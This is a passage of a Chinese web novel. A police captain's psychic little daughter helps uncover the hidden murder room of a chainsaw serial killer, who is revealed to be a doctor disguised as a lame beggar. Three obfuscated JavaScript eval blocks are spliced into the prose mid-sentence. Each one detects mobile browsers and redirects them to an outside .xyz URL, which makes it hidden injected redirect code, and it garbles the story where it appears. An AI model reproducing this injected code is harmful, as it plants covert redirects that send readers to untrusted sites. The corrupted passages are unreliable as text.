“露露姐姐!” 她站起来,冲边露露的方向挥了挥胳膊。 边露露一个人坐在大排档的角落,看到禾禾,同样眼睛一亮:“禾禾,好巧呀,我们又遇到啦。”她走过来,把自己点的港式奶茶送给禾禾,冲虞光城等人微微一笑,算是打过招呼,又回到自己的位置上。 边露露长得实在太漂亮。 她的出现,让两桌警员都忍不住躁动起来,心似乎飞到了边露露那桌。 吕横捂住噗通噗通乱跳的小心脏,鼓起勇气向虞光城提议:“虞队,那个姑娘一个人一桌,要不……我把她邀请过来跟我们一起……” 他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490915|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话还没说完,虞光城一个眼刀飞过来,立刻噤声。 毕竟今天请客的是虞光城,再加上他的威压实在太强,警员们只能歇了邀请边露露过来坐的念头。 只有虞光城对于边露露的出现,心里毫无波澜,仍然专心致志给禾禾剥虾。吃完饭结账时,他的余光无意瞥见禾禾手里还捧着边露露送的奶茶,冲张大安示意了下边露露的方向:“麻烦把她的账单一起给我。” 禾禾顺着虞光城的方向看边露露,小脑瓜灵光乍现——她想到带爸爸去找“第一案发现场”的办法啦! “爸爸,爸爸!天黑黑了哦~露露姐姐一个人回家不安全,我们送她回家好不好?” …… 月色皎洁,虞光城抱着禾禾,面无表情地往前走。 在他的身后,吕横正在讲毫无营养的笑话,试图逗边露露开心:“你知道为什么仙人掌去别人家里做客,别人都会报警吗?哈哈哈……因为它是‘刺’客,哈哈哈~” 禾禾趴在虞光城肩头,忍不住叹气——吕横叔叔好傻哦,这有什么好笑的? 不同于虞光城的无语和禾禾的不解,边露露格外捧场,跟吕横一起笑起来。清脆悦耳的笑声在空阔的街道上响起,被月色晕染得更加动人。 “我到家啦,谢谢禾禾,还有虞警官、吕警官。” 边露露停到家门口,捏了捏禾禾的小手,又冲虞光城和吕横礼貌告别,“谢谢你们送我回家,你们回去的路上注意安全。” 虞光城同样礼貌点头,算是回应。 吕横搔搔脑袋,笑得憨厚又灿烂:“边小姐晚安~” 禾禾一直记挂着她的“任务”,等边露露回了家,她从虞光城怀里跳下来,指着画面里的小巷子,冲虞光城建议:“爸爸,我们走那条巷子的小路回家好不好?” 虞光城只当禾禾是单纯起了好奇心,没拒绝:“好,爸爸听禾禾的。走了,吕横。” “诶!来咯!” 吕横随口应了声,在边露露家门口站了一会儿,才恋恋不舍地跑着追上虞光城和禾禾。 拐弯转进小巷子前,他没忍住,再次望向边露露家的方向——边露露端着一碗红烧肉冒尖的米饭,笑盈盈地把饭递给她对面的流浪汉。 吕横不禁更加心动,呢喃自语道:“边小姐真是人美心善。” …… 越往小巷子里走越黑,禾禾牵住虞光城的手,拉着他一股脑儿地往小巷子更深处钻。 虞光城四下环顾,望着漆黑的小巷子,不免有些疑惑:“禾禾,我们是不是走错路了?” 禾禾停下脚步,发现已经走到小巷的尽头,尽头一片黝黑,只零星亮着几盏路灯:“啊?没有路了吗?”可她明明在画面里看到,坏人把露露姐姐拖到更远的地方了呀? 难道她猜错了吗? 这里并没有爸爸他们想找的“第一案发现场”。 就在这时,一阵晚风吹过,虞光城猛得停住准备离开的脚步,扭头看向吕横:“你闻到了吗?” 吕横从军队退役前,在部队里从事爆破工作,嗅觉比虞光城还要灵敏。他与虞光城对视一眼,缓缓点头:“闻到了。” 他们都闻到了——一股很浓郁的血腥味。 14. 证物 第十四章 禾禾踮起脚尖,耸起小鼻子努力嗅嗅,什么都没有闻到,有些好奇:“爸爸,吕横叔叔,你们到底闻到了什么味道呀?为什么禾禾闻不到。” 担心禾禾害怕,两人默契地没有回答。 夜风吹过,小巷子里莫名传来冷意。 虞光城出于安全考虑,弯腰抱起禾禾,才跟吕横一起摸黑寻找血腥味的来源。 吕横走到小巷尽头,巷尾靠墙的地方堆放着大量煤炭,应该是附近居民去年冬天用剩下的。他凑近又仔细闻了闻,从煤炭堆里再次捕捉到人血的味道:“虞队,味道像是从这儿飘出来的。” 两人对视一眼,果断拿起墙角的铁锹,开始刨煤炭。 虞光城和吕横开工的同时,禾禾眼前再次浮现出画面——煤炭堆背后,是一间只有八平米的小库房。库房房顶的白炽灯年久失修,光线断断续续地闪动。地上,一个年轻漂亮的女孩手脚被紧紧束缚,西装革履的男人冲她冷笑着,高高举起手中嗡嗡作响的电锯。 “啊!” 禾禾被画面里的男人吓了一跳,不小心惊呼出声。 虞光城连忙扔下手里的铁锹,蹲下身,再次抱起禾禾:“禾禾怎么了?” 禾禾没办法告诉爸爸自己看到的画面,但她已经可以确定,爸爸他们想找的第一案发现场近在眼前。她摇摇头,试图从虞光城怀里挣脱下地:“爸爸我没事,你快快挖吧!” 虞光城不放心,拉起禾禾翻来覆去看了好几遍,确定她真的没问题,才重新拿起铁锹继续挖煤堆。 禾禾看得心里着急,挽起袖口,蹲在地上帮两人一起哼哧哼哧刨煤炭:“爸爸!吕横叔叔!” 她举起挖煤挖得黑乎乎的小手,指着刚刚露出的库房一角,兴奋地对两人说:“我们好像挖出了一座小房子诶!” 很快,小库房彻底呈现在三人面前,映着月色,虞光城清晰地看到,小库房的门缝里布满干涸的血迹。 他眸色一冷,走上前抬脚踹开库房。 逼仄狭窄的小房间里,地板上处处都是血迹。四面的墙上挂起巨大的透明塑料棚布,棚布上溅满暗红色的血液。小巷里的苍蝇们嗅到血腥味,纷纷涌入库房,贪婪地趴在沾血的棚布上吸食。 库房的角落,还扔着一把血迹斑斑的电锯。 虞光城瞳孔急剧收缩,立刻抬手遮住禾禾的眼睛,生怕吓到她。 禾禾在画面里看过库房的景象,早都不害怕了。 她咬牙使出吃奶的力气,终于掰开虞光城的手,仔细打量着库房的每一处,成功和她看到的画面一一对应:“爸爸,吕横叔叔,这里是不是你们要找的第一现场呀?” 吕横的视线落在角落的电锯上,联想起杀害“南渡连环杀人案”死者们的作案工具,正好是一把电锯! 那这也……太巧了吧? 吕横和虞光城都在对方眼底看到了难以置信。 …… 刑侦二队的警员们很快赶来封锁现场。 警员们经过一晚的侦查,确定这间不足八平米的小库房,正是“南渡连环杀人案”三名死者遇害的第一现场。在现场,他们还发现一个豁口瓷花碗。 短短一天时间,警方在小巷里找到凶杀现场的消息,在梧桐街迅速发酵开来。 边露露第二天下午下班回家后,从母亲口中得知了这个消息:“露露,你以后千万别再走小巷子,太吓人咯。不对,孩子他爸!打今天开始,你每天负责接露露下班。” 她女儿长得漂亮又心地善良,万一遇到坏人,他们老两口下半辈子都没法活咯! 边父正蹲在院子的水龙头前洗碗,听到边母的话,点头应下:“我知道,我上午还隔着警戒线瞅了一眼,那现场血淋淋的,真吓死个人!警察在现场还找到个豁口花碗,跟咱家那个简直一模一样。诶?对了——” 边父洗碗的动作一顿:“咱家那个豁口花碗呢?怎么感觉好久没见过了?” 边露露闻言,心脏怦怦直跳,似乎要从胸腔里蹿出来:“爸……豁口瓷花碗,我一个月前拿给咱们家附近的瘸腿流浪汉了。” 从那天起,流浪汉每晚都会准时拿着豁口花碗出现在巷口。 直到上上周,瘸腿流浪汉说弄丢了碗,边露露又给他拿了个新碗。 边父的手一抖,刚刚洗干净的碗噼里啪啦摔了满地。他根本顾不上收拾院子里的碎瓷片,拉起边露露的胳膊,火急火燎往外走:“快,露露,咱们去公安局报案。” …… 市公安局大院里。 禾禾坐在警员们平日用来训练沙坑里玩沙子。 刚刚用沙子堆出一个小房子,她的身前,突然投下一道阴影。禾禾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490916|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仰起脸,小手里还攥着两把没来得及用掉的沙子:“苗阿姨,你抓到坏人了嘛?” 苗伊妹是刑侦二队的队长,现在找到了“南渡连环杀人案”的第一现场,整个人春风得意,连脸颊上的小雀斑都透出喜悦:“还没呢,不过快啦~” 她从身后掏出一套新款沙滩玩具,塞到禾禾怀里:“这套玩具奖励给我们的小福星禾禾~” 昨晚勘察现场时,她听吕横说了,是禾禾心血来潮想走巷子里的小路,才让他和虞光城两人发现了煤堆背后的玄机。 据梧桐街上的住户表示,这堆煤是小巷的前主人留下的。 小巷的前主人几年前移居到国外,离开前,把这条小巷无偿捐给了国家。市政进行新一轮规划建设时,特意挖通这条小巷,一端连接市中心街区,另一端连接梧桐街。 这条小巷极大程度上方便了梧桐街的住户,住户们出于对小巷前主人的感激,从来没有人打过这堆煤炭的主意。 这几年,那堆煤炭一直好端端堆在巷角。 谁能想到,煤炭背后还藏着一间小库房呢? 苗伊妹和二队警员们先前猜想,第一案发现场应该在南渡区,本来打算今天去南渡区寻找线索。 如果禾禾没有带虞光城和吕横走巷子,刑侦二队这辈子都想不到,他们苦苦想要寻找的案发现场,其实就在市区! 二队警员们商量过后,拍板决定给禾禾买套玩具,好好感谢一下他们的小福星! 禾禾接过苗伊妹递来的沙滩玩具,小鹿眼倏地亮了:“哇!这套玩具可以用来堆城堡耶~谢谢苗阿姨,我很喜欢~” 苗伊妹笑着戳戳禾禾头顶的小揪揪:“不谢不谢,让阿姨沾点禾禾的好运就行。” 刚刚,梧桐街上的住户边露露来局里报案——一直在小巷口乞讨的流浪汉有很大的杀人嫌疑,只希望待会儿他们出警,能顺顺利利抓回流浪汉。 她冲二队的警员们挥了下手,示意出发:“走!我们去抓边露露口中的瘸腿流浪汉。” 刑侦二队的警车呼啸而去,只在原地留下一阵尾气。 禾禾拆开苗伊妹送的玩沙小铲子,拍拍面前的沙堆,小脸闪过茫然的神情:“抓瘸腿流浪汉?” 奇怪……她在画面里看到的凶手,明明是一个身穿西装的坏叔叔,苗阿姨他们为什么要去抓流浪汉呀? 15. 交锋 第十五章 几个小时后,苗伊妹带着二队的警员们无功而返,几人去的时候有多兴奋,现在回来的模样就有多沮丧。 虞光城牵着禾禾路过二队的办公室,感受到众人身上弥散的沮丧情绪,无奈摇头,劝道:“案子哪儿会那么容易破,别逼自己太紧,我又不拿破案率要求你们。” 他知道,有些市局支队长会要求手底下的破案率达标,一旦不达标,还会全局通报甚至取消奖金和评优。 虞光城做不出这种事。 他也是从普通刑警一步一步爬到现在的位置,作为警察,哪怕他的感知力再敏锐、侦破手段再先进,也总会遇到难以勘破的悬案。 如果拿破案率要求一线警员,谁都不能保证,在破案的过程中,警员们会不会出现刑讯逼供、屈打成招的现场。 “我知道的,虞支队,我就是有点不甘心。” 苗伊妹强撑起精神,从凳子上起身,走到虞光城面前,“我们刚去梧桐街,听街上的住户说,从昨天晚上开始,再也没有人见过那个瘸腿流浪汉。我派了两名警员留守在边露露家,但我有预感,流浪汉大概率不会再出现了。” 他们现在手头和流浪汉有关的证据,只有那只豁口花碗。 仅仅凭借一只碗,并不能证明流浪汉就是杀害三位死者的凶手。证据不足,他们自然也没办法在全市范围内下发流浪汉的通缉令。 禾禾手指戳戳怀里的沙滩玩具,看似玩得专注,实际上一直在认真听虞光城和苗伊妹的谈话。 她想起画面里的西装凶手,苦恼地鼓了鼓腮帮子,不知道该怎么告诉苗伊妹,只能说:“苗阿姨,会不会凶手不是流浪汉呀?” 苗伊妹一下子被问住了。 虽然她口口声声喊着流浪汉有杀人嫌疑,但潜意识里,她已经认定流浪汉是凶手——她好像,自己把自己带进了一个误区。没能抓到流浪汉,她的第一反应是这个案子又陷入僵局,完全没想过去寻找更多新线索。 苗伊妹脸上各种表情交替,一会儿懊恼,一会儿恍然,一会儿又感激地看向禾禾。 虞光城叹了口气,决定尽可能地引导一下对方:“伊妹,别忘了,第一案发现场距离凶手抛尸的南渡区,至少需要一个小时的车程。一个乞讨为生的瘸腿流浪汉,他在什么情况下,才能把三具尸体都运去南渡区抛尸?” 除了靠汽车,虞光城想不到凶手还有其他运尸手段。 一个流浪汉,他会有汽车吗? “他有帮手!” 苗伊妹醍醐灌顶,纠结的神情一扫而空,“或者——流浪汉根本不是凶手!谢谢虞队,我知道了!还有,也谢谢我们禾禾。” 她蹲下来,在禾禾的脸蛋上吧唧亲了一口。 …… 几天过去,刑侦二队还真的找到一点儿新线索。 三名死者并不是毫无交集,她们都曾经在市医院急诊科看过病。去医院一直都是件很正常的事,所以三名死者的这点儿交集,在二队刚刚接手这个案子时,被完全忽略了。 苗伊妹决定带人去市医院调查一下,除此之外,她仍然没放弃追查流浪汉的下落,但流浪汉像是人间蒸发一般,再也没有出现过。 今天刚好是石雅正式出院的日子。 刑侦科众人忙得走不开—— 虞光城刚接到上面通知,香江警方三天后会派人来引渡银行抢劫案的劫匪头目,他和手下的娄晓鸣主要负责接洽工作。 协助二队侦破“南渡连环杀人案”的担子,都落在吕横一个人头上。 程国生也忙着整理陈年旧案的卷宗资料。 禾禾看着忙忙碌碌的大家,自告奋勇举起小胳膊:“爸爸!我可以跟着二队的叔叔阿姨们去医院,代表你们去接雅雅阿姨!” 她一开始陪爸爸来警局上班还很兴奋,现在一天天过去,她只觉得越来越没意思。 虞光城自然明白禾禾这几天憋坏了,心里不免有些愧疚,伸手揉了揉她的脑袋:“好,那禾禾就代表咱们刑侦科,去接雅雅阿姨。等这周忙完,爸爸带你和时泽哥哥去东郊新开的游乐场玩。” 禾禾瞬间高兴了:“好哦!” …… 刑侦二队的警车开进医院大厅前的空地,石雅一眼看到趴在车窗上的禾禾。 她三步并作两步跑上前,抱起禾禾,反复把禾禾高高抛在空中又牢牢接住:“禾禾宝贝,雅雅阿姨快要想死你啦,一会儿要不要去唱卡拉OK喝糖水?” 禾禾发出快乐的惊呼声。 最后一次高抛结束,她笑着蹭了蹭石雅的颈窝,几缕碎发粘在红扑扑的小脸上,看上去更加可爱:“禾禾也想雅雅阿姨,告诉阿姨一个好消息,禾禾下学期要读一年级了哦~” 石雅自然又是一顿夸夸彩虹屁。 苗伊妹和二队的警员简单跟石雅打了个招呼,顾不上多寒暄几句,忙着去医院调查死者生前的就诊信息。 禾禾拉起石雅的小手,蹦蹦跳跳地往外走,医院大门口,她又看到了那抹熟悉的红裙子:“雅雅阿姨,那是露露姐姐,她可漂亮啦,人也超级好,就是……” 她想起吕横讲的冷笑话,有点嫌弃,瘪瘪小嘴:“露露姐姐喜欢听吕横叔叔讲笑话。” “听吕横?讲冷笑话?” 石雅皱眉重复了一遍,在得到禾禾肯定的回答后,她发出了爆鸣般地大笑,“哈哈哈哈,居然会有人喜欢听黑面神讲的笑话……” 她和吕横同事几年,自然清楚吕横根本没有一丁点儿幽默细胞。 这个漂亮女孩喜欢听吕横讲笑话,只有两种可能——要么,她很善良,不愿意伤害吕横的自尊心,才硬着头皮捧场;要么,她喜欢吕…… 石雅的想法戛然而止。 因为,她看到边露露身旁走来一个穿白大褂的英俊男人,男人的长相比不过虞队,但至少甩吕横三条街。 男人和边露露举止亲昵,俨然一对璧人。 石雅一想到回到局里,可以借现在这一幕狠狠“伤害”吕横的小心脏,唇角怎么都压不下去:“禾禾,你要去和露露姐姐打招呼吗?” 她低下头,才看到禾禾小脸煞白,额头满是豆大的汗珠,不由得心里一惊:“禾禾,你怎么了?身体不舒服吗?!!” 禾禾哆嗦着抱住石雅的大腿,她想要说话,却张不开嘴巴—— 露露姐姐身边的男人,是她在画面里看到的杀人凶手!!! …… 边露露此时也看到了禾禾,笑盈盈走上前,才发现禾禾脸色不好:“禾禾生病了吗?焦铭!” 她冲男人的方向招招手,声音透出几分急切:“你快帮禾禾看看,她到底怎么回事,小脸蛋为什么这么白呀?” 禾禾吓得直往石雅怀里钻,像是一只受惊的小兔子,生怕焦铭靠近触碰她:“雅雅阿姨,我没有难受,我们快走吧!” 必须快快离开这个地方,离开以后,她再想办法告诉雅雅阿姨抓凶手! 石雅察觉到禾禾的畏怯情绪,迅速回忆一遍,确定禾禾是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490917|170131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在看到焦铭后,情绪才突然来了个一百八十度大拐弯。 意识到这一点,她看向焦铭的目光不由得多了几分审视。 焦铭接收到她打量的视线,仍然保持得体的微笑,走上前搂住边露露的肩头,笑问:“您是石雅警官?广海日报上那位孤身大战四劫匪的巾帼英雄。孩子不舒服的话,您可以带她去我们急诊室。” 他说着,试图抬手触碰禾禾的额头,却被石雅挡开:“没关系,她没有不舒服。” 说完,石雅抱起禾禾飞快离开了医院。 焦铭凝视着禾禾离开的方向,眼底幽深——是上次坏他好事的小屁孩。要不是她横插一脚,拉着压根不认识的边露露一起回家,边露露早都变成他的电锯亡魂了! 妈的!现在他的秘密基地被警方发现,恐怕再也没机会犯案。 想到这里,焦铭不自觉收紧箍住边露露肩膀的手,边露露痛呼出声:“啊!焦铭……” “对不起,对不起。” 焦铭连忙松开手,装出心疼的模样,“我只是有点担心那个小朋友,一时间忘了收起力气,我给你道歉。” 他假装凑近查看边露露的肩膀,实际上,借机偏头,想要去吻边露露的脸颊。 边露露察觉到他的意图,慌忙推开他,娇妍的脸蛋蒙上一层绯色:“焦铭,你别这样,这些事情只能等我们结婚再做。你回去上班吧,我去看看禾禾!” 望着她慌乱跑掉的背影,焦铭啐了口唾沫,重重地唾在地上,低骂:“当婊子还要立牌坊!装什么!” 漂亮女人没一个好东西! 他才不信边露露是真的善良温柔,顶多是比前面那三个婊子更会装罢了! 今晚……要不去西街的红灯区“狩猎”吧?这样肯定能扰乱警察的调查方向,他们也绝对不可能发现他的真实身份。 …… 禾禾把脑袋埋在石雅的颈窝当小鹌鹑,直到耳边传来街边铺子的叫卖声,她才小心翼翼抬起头,确定自己彻底脱离了焦铭的视野范围。 她的脑袋里乱糟糟的——为什么露露姐姐认识凶手?凶手会不会伤害露露姐姐呀?她该怎样告诉雅雅阿姨,焦铭就是“南渡连环杀人案”的凶手? 禾禾想啊想,想得脑壳都痛了。 石雅见她一副郁郁寡欢的小可怜模样,关心道:“禾禾,你不喜欢焦铭医生吗?” 街边的光碟店橱窗里,正在播放香江的警匪片。影片里刚好演到两个黑.帮约在码头火拼抢地盘,其中一个黑.帮的小弟手里高举一把电锯,所到之处,一片血肉模糊。 禾禾被电影里的血腥场面吓得吞了口唾沫,但还是哒哒哒跑到橱窗前,指着电锯男对石雅说:“雅雅阿姨,我觉得焦铭和他好像……” 石雅认真端详好一会儿,也没发现演员和焦铭什么地方长得像。 “禾禾!” 边露露的声音由远及近,她一路是跑过来的,气还没喘匀,就忙着端详禾禾的神色,“你还难受吗?看着好像比刚才好多啦~” 禾禾摇摇头,从小挎包里掏出手帕递给边露露擦汗。 手帕接触到边露露的瞬间,她再次看到新的画面——焦铭脱掉他的西装,弄乱头发,把脸涂黑,还戴上一副黝黑焦黄的假牙套。打扮好后,他套了一身脏兮兮的乞丐服,一瘸一拐地走上街头,和之前完全就是两个人!!! 禾禾震惊地捂住小嘴,才控制住自己不叫出声。 瘸腿乞丐就是焦铭! 焦铭就是瘸腿乞丐!